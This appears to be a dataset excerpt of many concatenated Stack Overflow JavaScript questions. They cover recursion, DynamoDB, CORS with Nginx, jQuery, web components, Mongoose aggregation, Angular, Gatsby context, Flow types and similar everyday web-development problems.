▼ '' width= '' 14 '' / > < div class= '' under '' > < div class= '' nbb '' > < h4 class= '' nb '' > N.B . : < /h4 > < p class= '' nb-p '' > sample < /p > < /div > < div class= '' per '' > < h4 class= '' period '' > PERIOD : < /h4 > < p class= '' p-p '' > sample < /p > < /div > < /div > < /div > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js '' > < /script > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/Swiper/4.5.0/js/swiper.js '' > < /script >",Elements switch with mouse wheel "JS : I 'm refactoring some code and wondering what pattern is least memory intensive and easiest to read when it comes to passing constants in a recursive function.For example , I could just pass each constant down to the next recursive function , but it is n't obvious that those params are constants : Alternatively , I could have 2 functions and keep constants in the closure of the first , but I 'm curious if recreating the second function every time the first is called will cause unnecessary object creation & GC : Finally , I could keep it at one function , and just cache the initial values : All 3 look like they 'll be good candidates for the upcoming ( here-ish ) TCO so I do n't see that playing into the decision , but if it does that 'd be good to know as well ! const startFoo = ( myArray , isFoo , isBar ) = > { console.log ( isFoo , isBar ) ; startFoo ( myArray , isFoo , isBar ) ; } ; const startFoo = ( myArray , isFoo , isBar ) = > { const foo = myArray = > { console.log ( isFoo , isBar ) ; foo ( myArray ) ; } ; foo ( myArray ) ; } ; const startFoo = ( myArray , isFoo , isBar ) = > { if ( ! startFoo.cache ) { startFoo.cache = { isFoo , isBar } } const { isFoo , isBar } = startFoo.cache ; console.log ( isFoo , isBar ) ; startFoo ( myArray ) ; } ;",Passing constants in a recursive function "JS : I am trying to add a string set onto another string set inside an item using the UpdateItem with the Javascript SDKMy Parameters are such : Now this does n't work as ADD only works on Numbers and Sets and this set is nested under a map and it triggers this error : Incorrect operand type for operator or function ; operator : ADD , operand type : MAPI tried changing the attribute name to mapName.M.StringSetName , and made the value { `` SS '' : [ `` ValueToAdd '' ] . That did n't trigger an error but it also did n't add the value to the set.Any thoughts on how to do this , sounds like it should be something close to what I am trying . var params = { Key : { `` MyKeyName '' : { `` S '' : `` MyKeyValue '' } } , TableName : `` TableName '' , ExpressionAttributeNames : { `` # Name1 '' : `` mapName '' } , ExpressionAttributeValues : { `` : Value1 '' : { `` M '' : { `` StringSetName '' : { `` SS '' : [ `` ValueToAdd '' ] } } } } , UpdateExpression : `` ADD # Name1 : Value1 '' } ;",How to update a string set In DDB that is nested inside a map "JS : I have an app where the client makes a multipart request from example.com to api.example.com through https with Nginx , then api uploads the file to Amazon S3.It works on my machine but breaks when other people try it on a different network . Giving me this error : I 'm using the cors npm package on the API like this : All of this is going through an Nginx reverse proxy on DigitalOcean . Here this is my Nginx config : Individual server configs at /etc/nginx/conf.d/example.com.conf and /etc/nginx/conf.d/api.example.com.conf , almost identical , just the addresses and names different : It works perfectly fine when I use it on localhost on my computer but as soon as I put it on DigitalOcean I ca n't upload . And it only breaks on this multipart request when I 'm uploading a file , other regular cors GET and POST requests work . [ Error ] Origin https : //example.com is not allowed by Access-Control-Allow-Origin . [ Error ] Failed to load resource : Origin https : //example.com is not allowed by Access-Control-Allow-Origin . ( graphql , line 0 ) [ Error ] Fetch API can not load https : //api.example.com/graphql . Origin https : //example.com is not allowed by Access-Control-Allow-Origin . app.use ( cors ( ) ) ; server { listen 443 ssl http2 ; listen [ : : ] :443 ssl http2 ; server_name example.com ; ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem ; ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem ; include snippets/ssl-params.conf ; location / { proxy_set_header X-Real-IP $ remote_addr ; proxy_set_header X-Forwarded-For $ proxy_add_x_forwarded_for ; proxy_set_header X-NginX-Proxy true ; proxy_pass http : //localhost:3000/ ; proxy_ssl_session_reuse off ; proxy_set_header Host $ http_host ; proxy_cache_bypass $ http_upgrade ; proxy_redirect off ; } }",CORS does n't work despite headers set "JS : Is there any good practice to avoid your jQuery code silently fail ? For example : I know that every time this line get executed , the selector is intended to match at least one element , or certain amount of elements . Is there any standard or good way to validate that ? I thought about something like this : Also I think unit testing would be a valid option instead of messing the code.My question may be silly , but I wonder whether there is a better option than the things that I 'm currently doing or not . Also , maybe I 'm in the wrong way checking if any element match my selector . However , as the page continues growing , the selectors could stop matching some elements and pieces of functionality could stop working inadvertently . $ ( '.this # is : my ( complexSelector ) ' ) .doSomething ( ) ; var $ matchedElements = $ ( '.this # is : my ( complexSelector ) ' ) ; if ( $ matchedElements.length < 1 ) throw 'No matched elements ' ; $ matchedElements.doSomething ( ) ;",Patterns for avoiding jQuery silent fails "JS : See below snippet . Fade out works fine , but any idea why it wo n't fade in ? My HTML : and the JS : I 'm really stumped on this one . Trying to make a simple effect that will work on IE8 ( Sharepoint in corporate environment ) .Thanks ! < div id= '' id10574 '' > < span style= '' font-size:6em '' > ♥ < /span > < /div > < button id= '' b1 '' > Fade Out < /button > < button id= '' b2 '' > Fade In < /button > < script src= '' fade.js '' > < /script > var cat = document.getElementById ( `` id10574 '' ) ; cat.style.opacity = 1 ; function fadeout ( ) { if ( cat.style.opacity > 0 ) { cat.style.opacity = ( cat.style.opacity - 0.01 ) ; setTimeout ( fadeout , 10 ) ; } else { } } function fadein ( ) { if ( cat.style.opacity < 1 ) { cat.style.opacity = ( cat.style.opacity + 0.01 ) ; setTimeout ( fadein , 10 ) ; } else { } } document.getElementById ( `` b1 '' ) .addEventListener ( `` click '' , fadeout , false ) ; document.getElementById ( `` b2 '' ) .addEventListener ( `` click '' , fadein , false ) ;",Pure JavaScript fade in and out - fade in not working "JS : So I am trying to work out the differences between link.click ( ) and As far as I can tell these should be the same things ( however working with my jsfiddle example of exporting a csv from a URI this is not the case as they perform differently from browser to browser ) Using .click ( ) with firefox the popup to download the csv will not show ( it will in chrome ) see example - > http : //jsfiddle.net/a5E9m/23/Where as using the Mouse events it willsee example - > http : //jsfiddle.net/a5E9m/25/ var event = document.createEvent ( `` MouseEvents '' ) ; event.initEvent ( `` click '' , true , false ) ; link.dispatchEvent ( event ) ;",Difference between .click ( ) and creating a mouse event ? "JS : I 'm taking my first steps into web components without using any third-party libraries , such as Polymer . One of the main selling points is that web component styles are separated from styles defined elsewhere , allowing the component 's shadow-DOM to be styled in a sandbox-like environment.The issue I 'm running into is how styles cascade through slotted elements . Since slotted elements are not part of the shadow DOM , they can only be targed with the : :slotted ( ) selector within the component template . This is great , but it makes it almost impossible to guarantee a web component will display correctly in all contexts , since externally-defined styles also apply with undefeatable specificity* to slotted elements . *besides ! important.This issue can be distilled down to this : I 'm having a hard time understanding the value of this `` feature '' . I either have to specify my links in some other format and create their nodes with JS , or add ! important to my color property - which still does n't guarantee consistency when it comes to literally any other property I have n't defined.Has this issue been addressed somewhere , or is this easily solved by changing my light DOM structure ? I am not sure how else to get a list of links into a slot . customElements.define ( `` my-nav '' , class extends HTMLElement { constructor ( ) { super ( ) ; const template = document.querySelector ( `` template # my-nav '' ) .content ; this.attachShadow ( { mode : `` open '' } ) .appendChild ( template.cloneNode ( true ) ) ; } } ) ; a { color : red ; /* > : ( */ } < template id= '' my-nav '' > < style > .links-container : :slotted ( a ) { color : lime ; font-weight : bold ; margin-right : 20px ; } < /style > < div class= '' links-container '' > < slot name= '' links '' > < /slot > < /div > < /template > < p > I want these links to be green : < /p > < my-nav > < a href= '' # '' slot= '' links '' > Link 1 < /a > < a href= '' # '' slot= '' links '' > Link 2 < /a > < a href= '' # '' slot= '' links '' > Link 3 < /a > < /my-nav >",Overriding externally-defined styles in a web component "JS : A given 3rd party script adds an iframe under certain conditions to the DOM . If the iframe loads properly , all is done . However , sometimes , the src of that iframe results in 404 , network timeouts , or other errors . The 3rd party script does n't handle this gracefully.I 'd like to monitor for this in my script , and , whenever the iframe fails to load , trigger my script . Is there any way to do this ? It would look something like this : A simpler question : Given an iframe element , how can I check if it loaded , or if it 's failed ? I can see in Developer tools under the Network tab that the src failed ; how can I query this programmatically.Note that my code is not the code loading the iframe , and it would be difficult to modify the third party code and add something to it.Detecting if iframe src is displayable grapples with a similar issue , but not successfully.Mutation observers might be one way , though I would expect something simpler would work better . function callWhenElementFails ( element ) { if ( element is_a iframe ) invoke_my_handler ; else do nothing }",Javascript : Detect when an iframe is added with src not retrievable "JS : To start off here 's how the application works : ( note : there are multiple users on the page like Patient M , Patient E , so on ) 1 ) Next to Patient X 's name is a button labeled Check In . This is logged in the server side.2 ) Upon clicking the Check In button , the user is then presented with a dropdown ( replacing the initial button ) with the multiple locations the user could choose . Upon selecting a location from the select , the server side is updated again.3 ) The user then might decide to choose multiple locations , repeating step 24 ) At the end , when the user is done selecting locations , he clicks on the Check Out button in the same select where the user had clicked locations in steps 2 and 3 , titled Check Out . Upon clicking this , it is sent to checkloc.php and logged.5 ) Finally , the dropdown dissapears and the words Checked Out appear . Unfortunately , the problem is that right now if I am Computer 1 , and go through the process of clicking Check In , selecting a location , and checking out , this is completely apart from Computer 2 doing this . Heres a diagram : So basically I need a way to grab the server code every few seconds and update the form elements with the current values . I 'm a pretty new programmer , so code and tutorials would be extra helpful . Also , like I just mentioned , I am a new programmer , so if my code could be cleaned up in any ways that would be fantastic.Thanks for any and all help ! I 'm glad to clarify any questions you have ! Heres the code : and html : heres the server side code ( I split it into three pages just for testing ) checkin.phplocationchange.phpand checkout.php < script src= '' http : //code.jquery.com/jquery-1.8.2.js '' > < /script > < script type= '' text/javascript '' > $ ( document ) .ready ( function ( ) { $ ( '.locationSelect ' ) .hide ( ) ; // Hide all Selects on screen $ ( '.finished ' ) .hide ( ) ; // Hide all checked Out divs on screen $ ( '.checkOut ' ) .hide ( ) ; $ ( '.checkIn ' ) .click ( function ( ) { var $ e = $ ( this ) ; var data = $ e.data ( `` param '' ) .split ( ' _ ' ) [ 1 ] ; // gets the id of button // You can map this to the corresponding button in database ... $ .ajax ( { type : `` POST '' , url : `` checkin.php '' , // Data used to set the values in Database data : { `` checkIn '' : $ ( this ) .val ( ) , `` buttonId '' : data } , success : function ( ) { // Hide the current Button clicked $ e.hide ( ) ; // Get the immediate form for the button // find the select inside it and show ... $ ( '.locationSelect ' ) .show ( ) ; $ ( '.checkOut ' ) .show ( ) ; } } ) ; } ) ; $ ( '.locationSelect ' ) .change ( function ( ) { $ e = $ ( this ) ; var data = $ e.data ( `` param '' ) .split ( ' _ ' ) [ 1 ] ; // gets the id of select // You can map this to the corresponding select in database ... $ .ajax ( { type : `` POST '' , url : `` changeloc.php '' , data : { `` locationSelect '' : $ ( this ) .val ( ) , `` selectid '' : data } , success : function ( ) { // Do something here } } ) ; } ) ; $ ( '.checkOut ' ) .click ( function ( ) { var $ e = $ ( this ) ; var data = $ e.data ( `` param '' ) .split ( ' _ ' ) [ 1 ] ; // gets the id of button // You can map this to the corresponding button in database ... $ .ajax ( { type : `` POST '' , url : `` checkout.php '' , // Data used to set the values in Database data : { `` checkOut '' : $ ( this ) .val ( ) , `` buttonId '' : data } , success : function ( ) { // Hide the current Button clicked $ e.hide ( ) ; $ ( '.locationSelect ' ) .hide ( ) ; // Get the immediate form for the button // find the select inside it and show ... $ ( '.finished ' ) .show ( ) ; } } ) ; } ) ; } ) ; < /script > < button class= '' checkIn '' data-param= '' button_9A6D43BE-D976-11D3-B046-00C04F49F230 '' > Check In < /button > < form method='post ' class='myForm ' action= '' > < select name='locationSelect ' class='locationSelect ' data-param= '' location_9A6D43BE-D976-11D3-B046-00C04F49F230 '' > < option value= '' 0 '' > Select a location < /option > < option value= ' 1 ' > Exam Room 1 < /option > < option value= ' 2 ' > Exam Room 2 < /option > < option value= ' 3 ' > Exam Room 3 < /option > < option value= ' 4 ' > Exam Room 4 < /option > < /select > < /form > < button class= '' checkOut '' data-param= '' cbutton_9A6D43BE-D976-11D3-B046-00C04F49F230 '' > Check Out < /button > < div class='finished ' style='color : # ff0000 ; ' > Checked Out < /div > < ? phpdate_default_timezone_set ( 'America/Denver ' ) ; $ apptid = $ _REQUEST [ 'buttonId ' ] ; $ currentlocationstart = date ( `` Y-m-d H : i : s '' ) ; if ( isset ( $ _REQUEST [ 'checkIn ' ] ) ) { $ checkin = 0 ; } $ hostname = 'localhost ' ; $ username = '******* ' ; $ password = '****** ' ; $ conn = new PDO ( `` mysql : host= $ hostname ; dbname=sv '' , $ username , $ password ) ; $ sql = `` UPDATE schedule SET currentlocation = ? , currentlocationstart = ? WHERE apptid= ? `` ; $ q = $ conn- > prepare ( $ sql ) ; $ q- > execute ( array ( $ checkin , $ currentlocationstart , $ apptid ) ) ; ? > < ? phpdate_default_timezone_set ( 'America/Denver ' ) ; $ apptid = $ _REQUEST [ 'selectId ' ] ; $ currentlocationstart = date ( `` Y-m-d H : i : s '' ) ; if ( isset ( $ _REQUEST [ 'locationSelect ' ] ) ) { $ currentLocation = $ _REQUEST [ 'locationSelect ' ] ; } $ hostname = 'localhost ' ; $ username = '***** ' ; $ password = '******* ' ; $ conn = new PDO ( `` mysql : host= $ hostname ; dbname=sv '' , $ username , $ password ) ; $ sql = `` UPDATE schedule SET currentlocation = ? , currentlocationstart = ? WHERE apptid= ? `` ; $ q = $ conn- > prepare ( $ sql ) ; $ q- > execute ( array ( $ currentlocation , $ currentlocationstart , $ apptid ) ) ; ? > < ? phpdate_default_timezone_set ( 'America/Denver ' ) ; $ apptid = $ _REQUEST [ 'buttonId ' ] ; $ currentlocationstart = date ( `` Y-m-d H : i : s '' ) ; if ( isset ( $ _REQUEST [ 'checkOut ' ] ) ) { $ checkin = 1000 ; } $ hostname = 'localhost ' ; $ username = '********* ' ; $ password = '******** ' ; $ conn = new PDO ( `` mysql : host= $ hostname ; dbname=sv '' , $ username , $ password ) ; $ sql = `` UPDATE schedule SET currentlocation = ? , currentlocationstart = ? WHERE apptid= ? `` ; $ q = $ conn- > prepare ( $ sql ) ; $ q- > execute ( array ( $ checkin , $ currentlocationstart , $ apptid ) ) ; ? >",Grab Server Code on refresh every few seconds and update form elements "JS : I have a pie chart.js with the borders set to 1.When the chart displays , each segment does not display its 3 borders.I believe that the border is present , but the the next segment is applied over the top of the left border - hiding the left border from display.Is there a setting that will display all 3 borders of each pie segment ? Here is my code for new Chart ( document.getElementById ( 'example-pie-chart-1 ' ) , { type : 'pie ' , data : { labels : [ ' { % blocktrans % } Views { % endblocktrans % } ' , ' { % blocktrans % } Print Requests { % endblocktrans % } ' , ' { % blocktrans % } PDF Downloads { % endblocktrans % } ' , ' { % blocktrans % } DOCX Downloads { % endblocktrans % } ' , ] , datasets : [ { backgroundColor : [ 'rgba ( 71 , 101 , 160 , 0.3 ) ' , // # 4765a0 . 'rgba ( 0 , 0 , 0 , 0.3 ) ' , // # 000000 . 'rgba ( 52 , 137 , 219 , 0.3 ) ' , // # 3489db . 'rgba ( 179 , 179 , 179 , 0.3 ) ' , // # b3b3b3 . ] , hoverBackgroundColor : [ 'rgba ( 71 , 101 , 160 , 0.6 ) ' , // # 4765a0 . 'rgba ( 0 , 0 , 0 , 0.6 ) ' , // # 000000 . 'rgba ( 52 , 137 , 219 , 0.6 ) ' , // # 3489db . 'rgba ( 179 , 179 , 179 , 0.6 ) ' , // # b3b3b3 . ] , borderColor : [ 'rgba ( 71 , 101 , 160 , 1 ) ' , // # 4765a0 . 'rgba ( 0 , 0 , 0 , 1 ) ' , // # 000000 . 'rgba ( 52 , 137 , 219 , 1 ) ' , // # 3489db . 'rgba ( 179 , 179 , 179 , 1 ) ' , // # b3b3b3 . ] , data : [ 6 , 3 , 2 , 2 ] } ] } , options : { title : { display : false , text : ' { % blocktrans % } Overall Statistics { % endblocktrans % } ' } } } ) ; < canvas id= '' example-pie-chart-1 '' width= '' 200 '' height= '' 200 '' > < /canvas > < script src= '' https : //cdn.jsdelivr.net/npm/chart.js @ 2.8.0 '' > < /script >",Pie chart.js - show all 3 segment borders "JS : Excerpt from my JavaScript console : Why ? > 0 in [ 1 , 2 ] true","0 in [ 1 , 2 ] == true , why ?" "JS : I have an asynchronous queue worker running as a Tornado script on my server -- it hosts a subclass of Tornado 's PeriodicTask , which consumes events from Redis . To monitor the queue , I set up a tornado.websocket.WebSocketHandler subclass on a URL , and then encapsulated the client WebSocket JavaScript in a jQuery plugin ( here is the full code ) .The idea is , you can have a number of queues on the server , and so you can use the jQuery module to set up a widget that specifically monitors that queue . At the moment , the logic is dead simple -- the widgets merely indicate how many tasks are enqueued in their target queue.Here 's the init code in question : The javascript uses window.setInterval ( ) to periodically send a message to the socket ; the server replies with the status of the queue for which it was asked , and the socket 's frontend callback updates the DOM.But the problem is : after a few minutes of this sort of polling -- set off specifically by navigating between pages containing the client socket code -- the sockets fail by throwing an exception with a message like DOM_ERROR_11 and a message that the socket object is no longer valid.Once the page enters this error condition , I have to restart both the browser and the server websocket script to get everything to start up again ... . Is there a better way to set things up than I have ( with the window.setInterval ( ) and whatnot ) ? /* init : */ function ( _options ) { options = $ .extend ( options , _options ) ; var self = this ; self.data ( 'recently ' , [ 0,0,0,0,0,0,0,0,0 ] ) ; self.data ( 'options ' , options ) ; self.data ( 'sock ' , null ) ; var sock = null ; if ( 'endpoint ' in options & & options [ 'endpoint ' ] ) { sock = new WebSocket ( options [ 'endpoint ' ] ) ; sock.onopen = function ( ) { } ; sock.onclose = function ( ) { } ; sock.onmessage = function ( e ) { var d = $ .parseJSON ( e.data ) ; if ( options.queuename in d ) { var qlen = d [ options.queuename ] lastvalues = self.data ( 'recently ' ) ; lastvalues.shift ( ) ; lastvalues.push ( qlen ) ; if ( lastvalues.every ( function ( itm ) { return itm == 0 ; } ) ) { self.each ( function ( ) { var elem = $ ( this ) ; elem.html ( `` < b > Currently Idle < /b > '' ) ; } ) ; } else { self.each ( function ( ) { var elem = $ ( this ) ; elem.html ( `` < b > '' + qlen + `` < /b > Queued Signals '' ) ; } ) ; } self.data ( 'recently ' , lastvalues ) ; } } } self.data ( 'sock ' , sock ) ; return self.each ( function ( ) { var elem = $ ( this ) ; elem.data ( 'sock ' , sock ) ; } ) ; }",Problems when storing WebSocket connection handle objects using jQuery.data ( ) -- what 's the best thing to do ? "JS : So basically I have this problem in chrome ( Working fine in Firefox ) . When I edit a content and I have the following situation , a link and some text and when I click at the end of the link to change `` some link text '' to `` some link to website '' it does the following Before editing : some link text some contentsome link to website some content < a href= '' '' > some link text < /a > some content < a href= '' '' > some link < /a > to website some content",Bug in chrome with ckeditor editing links "JS : I have a schema , Comment , like the one below . It 's a system of `` comments '' and `` replies '' , but each comment and reply has multiple versions . When a user wants to view a comment , I want to return just the most recent version with the status of APPROVED.I 've gotten the parent Comment to display how I want with the code below . However , I 've had trouble applying that to the sub-document , Reply.Any help achieving the same result with the replies subdocuments would be appreciated . I would like to return the most recent APPROVED version of each reply in a form like this : const Version = new mongoose.Schema ( { user : { type : mongoose.Schema.Types.ObjectId , ref : 'User ' } , body : String , created : Date , title : String , status : { type : String , enum : [ 'APPROVED ' , 'OPEN ' , 'CLOSED ' ] } } ) const Reply = new mongoose.Schema ( { user : { type : mongoose.Schema.Types.ObjectId , ref : 'User ' } , created : Date , versions : [ Version ] } ) const Comment = new mongoose.Schema ( { user : { type : mongoose.Schema.Types.ObjectId , ref : 'User ' } , created : Date , versions : [ Version ] , replies : [ Reply ] } ) const requestedComment = yield Comment.aggregate ( [ { $ match : { query } } , { $ project : { user : 1 , replies : 1 , versions : { $ filter : { input : ' $ versions ' , as : 'version ' , cond : { $ eq : [ ' $ $ version.status ' , 'APPROVED ' ] } } } , } } , { `` $ unwind '' : `` $ versions '' } , { $ sort : { 'versions.created ' : -1 } } , { $ group : { _id : ' $ _id ' , body : { $ first : ' $ versions.body ' } , title : { $ first : ' $ versions.title ' } , replies : { $ first : ' $ replies ' } } } ] ) .exec ( ) comment : { body : `` The comment 's body . `` , user : ObjectId ( ... ) , replies : [ { body : `` The reply 's body . '' user : ObjectId ( ... ) } ] }",Sorting and grouping nested subdocument in Mongoose "JS : I 'm testing jQuery terminal and I got error : when testing : they are same value I just copy it into console and replace to equal by == or === and it return true . Expected ' > ' to equal ' > ' . $ ( function ( ) { describe ( 'Terminal plugin ' , function ( ) { describe ( 'terminal create terminal destroy ' , function ( ) { var term = $ ( ' < div id= '' term '' > < /div > ' ) .appendTo ( 'body ' ) .terminal ( ) ; it ( 'should have default prompt ' , function ( ) { var prompt = term.find ( '.prompt ' ) ; expect ( prompt.html ( ) ) .toEqual ( `` < span > & gt ; & nbsp ; < /span > '' ) ; expect ( prompt.text ( ) ) .toEqual ( ' > ' ) ; } ) ; } ) ; } ) ; } ) ;",Expected ' > ' to equal ' > ' in jasmine "JS : The following is the JSON I 'm trying to parse : I 'm getting the error below : I 'm getting the data from a service and saving it into the controller scope using the following : And my HTML : { [ { `` name '' : '' Technology '' } , { `` name '' : '' Engineering '' } , { `` name '' : '' Business '' } ] } Unexpected token [ in JSON at position 1 at JSON.parse ( < anonymous > ) at fromJson vm = this ; vm.sectorList = response.data ; < div ng-repeat= '' sector in ctrl.sectorList '' > { { sector.name } } < /div >",AngularJS : Unable to parse a list of JSON "JS : I use the angular-generator in yeoman . In gruntfile.js , every html file in /app/views get copied to dist/views . But I like to keep my directive templates in the same folder as the directive itself . Example : When I build the project , I want the html file to end up in the same folder structure as above . This should probably be done in the copy section in gruntfile.js.I tried to add this in the src array : Did not work . Any ideas ? /app/scripts/widgets/mywidget.directive.js/app/scripts/widgets/mywidget.tmpl.html copy : { dist : { files : [ { expand : true , dot : true , cwd : ' < % = yeoman.app % > ' , dest : ' < % = yeoman.dist % > ' , src : [ '* . { ico , png , txt } ' , '*.html ' , 'images/ { , */ } * . { webp } ' , 'styles/fonts/ { , */ } * . * ' ] } ... ' < % = yeoman.dist % > /scripts/ { , */ } *.tmpl.html '","Grunt , copy html files to scripts folder on build" "JS : Given the following array : How can I use lodash , to split the array each time code is not equal to 0 and get the following results ? var arr = [ { id:1 , code:0 } , { id:1 , code:12 } , { id:1 , code:0 } , { id:1 , code:0 } , { id:1 , code:5 } ] ; [ [ { id:1 , code:0 } , { id:1 , code:12 } ] , [ { id:1 , code:0 } , { id:1 , code:0 } , { id:1 , code:5 } ] ]",Chunks of an Array of objects using an object property as the `` delimiter '' "JS : I have a KendoGrid that have a column like : ..first this code doesnt work.Im trying to pass the whole `` data '' ( the data for the current row ) to a javascript function.Thanks in advance . { title : `` Column1 '' , template : < a href= '' javascript : customJsFunction ( # = data # ) '' > click here < /a > ' , } ,",How to Pass dataItem to a js function on a KendoGrid cell custom click "JS : I am a novice with Angular and just getting to grips with the AngularUI Router framework . I have one html page which contains a list of questions ( each question needs its own url ) and a results page.I have created a quick stripped down plunker ( with all files ) to demo the issue : http : //plnkr.co/edit/QErnkddmWB0JgendbOiV ? p=previewFor SO ref : app.jsBasically for some unknown reason ( to me ) I have to click the 'results ' link twice for it to appear in my eyes should appear on the first click.Does anyone know why this is happening ? A . angular.module ( 'foo ' , [ 'ui.router ' ] ) .config ( function ( $ stateProvider , $ urlRouterProvider ) { $ urlRouterProvider.otherwise ( '/q1 ' ) ; $ stateProvider .state ( 'question ' , { url : '/ : questionID ' , templateUrl : 'questions.html ' , controller : 'questionsCtrl ' } ) .state ( 'results ' , { url : '/results ' , templateUrl : 'results.html ' } ) } ) .controller ( 'questionsCtrl ' , function ( $ scope , $ stateParams ) { $ scope.questionID = $ stateParams.questionID ; $ scope.scotches = [ { name : 'Macallan 12 ' , price : 50 } , { name : 'Chivas Regal Royal Salute ' , price : 10000 } ] ; } ) ;",angular ui router - having to click twice for view to update as expected ( with demo ) "JS : I need to run some functions ( eg . Office UI Fabric React 's initializeIcons ( ) ) and AXIOS call ( eg . retrieve the logged-in user with Context API ) only the first time the site is hit , then store the retrieved values in the React Context and make it available to the whole application.Gatsby is wrapping my pages ' content in a Layout , like : with Layout being like : I know where I can NOT put my Context : around the pages ( or it will be executed everytime the page is hit , and also not available to the other pages ) : in the Layout ( or it will be executed every time ) : I suppose I need a root < app > object to surround with my Context Provider , but what 's a clean way to achieve that with Gatsby ? Where should I put my Context Provider ? const IndexPage = ( ) = > < Layout > Body of Index Page ... < /Layout > const AnotherPage = ( ) = > < Layout > Body of Another Page ... < /Layout > const Layout = ( { children } ) = > < > < Header / > < main > { children } < /main > < Footer / > < / > const IndexPage = ( ) = > < MyContextProvider > < Layout > Context Available here < /Layout > < /MyContextProvider > const AnotherPage = ( ) = > < Layout > Context NOT available here < /Layout > const Layout = ( { children } ) = > < MyContextProvider > < Header / > < main > { children } < /main > < Footer / > < /MyContextProvider >",Where to put Context Provider in Gatsby ? "JS : If I have two nodes in an HTML document , how can I tell which one comes first in HTML document order in Javascript using DOM methods ? For example , function funstuff ( a , b ) { //a and b can be any node in the DOM ( text , element , etc ) if ( b comes before a in document order ) { var t = b ; b = a ; a = t ; } // process the nodes between a and b. I can handle this part // when I know that a comes before b . }",Determine Document Order from Nodes "JS : Question : How can I use $ mdToast inside an interceptor without triggering the error ? Setup : Interceptor definition : Interceptor config : Issue : When I load the application it triggers the following error : Uncaught Error : [ $ injector : cdep ] Circular dependency found : $ http < - $ templateRequest < - $ $ animateQueue < - $ animate < - $ $ interimElement < - $ mdToast < - HttpError500Interceptor < - $ http < - $ templateFactory < - $ view < - $ state ( function ( ) { 'use strict ' ; angular .module ( 'app.components.http-errors-interceptors ' ) .factory ( 'HttpError500Interceptor ' , HttpError500Interceptor ) ; /* @ ngInject */ function HttpError500Interceptor ( $ q , $ mdToast , $ filter ) { var interceptor = { } ; interceptor.responseError = responseError ; function responseError ( responseError ) { if ( responseError.status === 500 ) { $ mdToast.show ( $ mdToast.simple ( ) .content ( $ filter ( 'translate ' ) ( 'APP.COMPONENTS.HTTP_ERRORS_INTERCEPTORS.500 ' ) ) .position ( 'bottom right ' ) .hideDelay ( 5000 ) ) ; } return $ q.reject ( responseError ) ; } return interceptor ; } } ) ( ) ; ( function ( ) { 'use strict ' ; angular .module ( 'app.components.http-errors-interceptors ' ) .config ( moduleConfig ) ; /* @ ngInject */ function moduleConfig ( $ httpProvider ) { $ httpProvider.interceptors.push ( 'HttpError500Interceptor ' ) ; } } ) ( ) ;",Using ` $ mdToast ` inside an interceptor triggering circular dependency "JS : I have a set of JavaScript `` classes '' where a base class defines functions that are then shared by an inherited class . It is working , and it is set up like this : For reasons that are outside of my control , my company prefers to follow this pattern when writing JavaScript : Now , this is fine as far as things go , and it works well for many situations . But it is more of a functional style . There is only one `` class '' instance , and everything is static.I 've been asked to modify my working code to more closely match the style my company prefers . So my question is , there a way to inherit from a class that is wrapped inside a factory class ? It would look something like this : Is there a way to define ThingB wrapped in FactoryClassB that inherits from ThingA wrapped in FactoryClassA ? Thanks to this question , I know that I 'm not going to be able to do it exactly like this . I am thinking of using a method to extend a given class ... somehow ? This answer seems close , but I 'm having trouble figuring out the details of how to modify that example to fit with the specifics of my situation . I am willing to bend my company 's usual pattern a little bit , but can I at least get closer to it ? UPDATE 1In response to Adam 's comment to just add a parameter to the factory class , here 's where I 'm stuck : I ca n't figure out how to adapt these lines to make it work if I just pass in a parameter to the factory class method . var ThingA = function ( name ) { this.name = name ; } ; ThingA.prototype = { sayHi : function ( ) { alert ( 'Hi , ' + this.name + ' ! ' ) ; } } ; var ThingB = function ( ) { ThingA.call ( this , 'Charlie ' ) ; } ; ThingB.prototype = new ThingA ( ) ; ThingB.prototype.constructor = ThingB ; var instanceOfB = new ThingB ( ) ; instanceOfB.sayHi ( ) ; // alerts 'Hi , Charlie ! ' SomeClass = function ( ) { // `` Private '' functions go here function somePrivateMethod ( ) { ... } return { // `` Public '' methods go here somePublicMethod : function ( ) { ... } } ; } ( ) ; FactoryClassA = function ( ) { var ThingA = function ( name ) { this.name = name ; } ; ThingA.prototype = { sayHi : function ( ) { alert ( 'Hi , ' + this.name + ' ! ' ) ; } } ; return { createThingA : function ( name ) { return new ThingA ( name ) ; } } ; } ( ) ; FactoryClassB = function ( ) { // Define a ThingB class that inherits from ThingA somehow return { createThingB : function ( ) { return new ThingB ( ) ; } } ; } ( ) ; var instanceOfB = FactoryClassB.createThingB ( ) ; instanceOfB.sayHi ( ) ; // should alert 'Hi , Charlie ! ' ThingB.prototype = new ThingA ( ) ; ThingB.prototype.constructor = ThingB ;",How can I extend a class defined behind a closure in JavaScript ? "JS : I 've followed https : //flow.org/en/docs/install/ , and flow is working fine when used in single files , like this : Flow will correctly point out that : The problem arises when I try to export a type from moduleA and import that type in moduleB : ( moduleA.js ) ( moduleB.js ) Flow complains : Is n't this exactly how it 's described in https : //flow.org/en/docs/types/modules/ ? Folder structure is : // @ flow type NumberAlias = number ; const n : NumberAlias = `` 123 '' ; 5 : const n : NumberAlias = `` 123 '' ; ^^^^^ string . This type is incompatible with 5 : const n : NumberAlias = `` 123 '' ; ^^^^^^^^^^^ number // @ flow export type NumberAlias = number ; // @ flowimport type { NumberAlias } from './moduleA ' ; const n : NumberAlias = 123 ; src/moduleB.js:3 3 : import type { NumberAlias } from './moduleA ' ; ^^^^^^^^^^^ ./moduleA . Required module not found src/ moduleA.js moduleB.js.flowconfigpackage.json",Flowtype – how to export and import types ? "JS : In the following javascript code sample : What are de advantages and disvantages of default-preventing the action at the beginning or the end of the function ? - supposing the case of unconditionally wanting to prevent it in the end . Is there any technical reason to choose one way ? Surfing the internet i 've found only one reference -dead blog , sorry for the Google Cache link- , and points that preventing the default action at the beginning will avoid the action happening in case the js function crashes.NOTE : i 've used jQuery in my example just for familiarity , the question is not about jQuery , the answer for the classical event handling mode will be the same . var myButton = $ ( ' # myButton ' ) ; myButton.click ( function ( event ) { /* stuff ... */ event.preventDefault ( ) ; } ) ;",Advantages and disvantages of preventing default event action at start or end of javascript function "JS : I am creating a bitmask in javascript . It works fine for bit 0 through 14 . When I set only bit fifteen to 1 . It yields the integer value of `` -2147483648 '' instead of `` 2147483648 '' . I can do a special case hack here by returning hardcoded `` 2147483648 '' for bit fifteen but I would like to know the 